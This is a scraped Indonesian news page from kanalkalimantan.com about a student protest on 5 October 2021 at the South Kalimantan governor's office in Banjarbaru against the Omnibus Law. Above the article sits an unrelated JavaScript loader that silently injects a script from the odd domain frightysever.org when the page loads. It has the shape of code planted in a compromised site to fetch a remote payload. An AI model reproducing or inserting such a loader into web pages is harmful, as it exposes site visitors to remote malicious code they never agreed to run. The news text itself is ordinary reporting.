(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Aksi damai memperingati diberlakukannya Undang-Undang (UU) Omnibus Law yang dipelopori oleh Fraksi Rakyat Indonesia (FRI) Kalimantan Selatan (Kalsel) berlangsung di halaman kantor Gubernur Kalimantan Selatan di Banjarbaru, Selasa (5/10/2021) pukul 09.00 Wita.
Masa yang datang merupakan gabungan dari berbagai elemen mahasiswa dengan memakai identitas organisasi dan kampus masing-masing. Mereka menyerukan untuk melawan kekuasaan oligarki yang ada di Indonesia.
Aksi ini mengangkat hastag SayaVsOligarki dan PON MMXXI (Pekan Oligarki Nasional Indonesia 2021) yang merupakan bagian dari aksi serentak yang dilakukan oleh FRI Kalsel dalam rangka pekan perlawanan. Hal ini bermula dari penolakan terhadap UU KPK yang dianggap pelemahan terhadap institusi antikorupsi tersebut.
Baca juga: Baristand Industri Banjarbaru Hilirisasi Produk VCO melalui DAPATI
Sebanyak kurang lebih 50 peserta aksi yang melakukan aksi peringatan Omnibus Law ini.
Koordinator Lapanga FRI Kalsel, Muhammad Iqbal Hambali mengatakan aksi menuntut untuk tidak memberlakukan UU No 11 tahun 2020 mengenai Cipta Kerja ‘Omnibus Law’ di Kalimantan Selatan.
Masa dalam hal ini menuntut bertemu Gubernur Kalsel untuk menyampaikan tuntutannya.
“Kurang lebih perjalanan satu tahun ‘Omnibus Law’ banyak menimbulkan ketimpangan yang ada di Indonesia baik dari sektor Pendidikan, sektor agraria, sektor buruh bahkan dari sektor lingkungan,” kata Iqbal.
Berakar dari ketimpangan itulah para aktivis mengusung pesan bahwa People Heist adalah gerakan rakyat melawan kekuasaan oligarki.
Baca juga: Mendagri Akhirnya Putuskan Banjarbaru Sandang Status PPKM Level 2!
Aksi sempat bersitegang karena orang nomor satu di Kalsel tidak menemui para peserta aksi dengan dalih menghadiri acara HUT TNI di Korem 101 Antasari di Banjarmasin.
“Kami memintanya Gubernur Kalsel yang menemui kami bukan Sekda yang tidak berwenang dalam menandatangani tuntutan kami,” ucapnya
“Sementara kami akan melakukan Camping Ceria sambil menunggu Gubernur datang kemari,” tambahnya
Aksi akan terus berlanjut sampai Gubernur Kalsel menemui peserta aksi dan kalau tidak ada tindak lanjut dari Pemerintah Daerah, mereka berjanji akan membawa masa yang lebih banyak lagi.
“Kalau Gubernur tidak berhadir hari ini, kami akan terus menggelar aksi dan masa lebih banyak lagi,” tutupnya.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.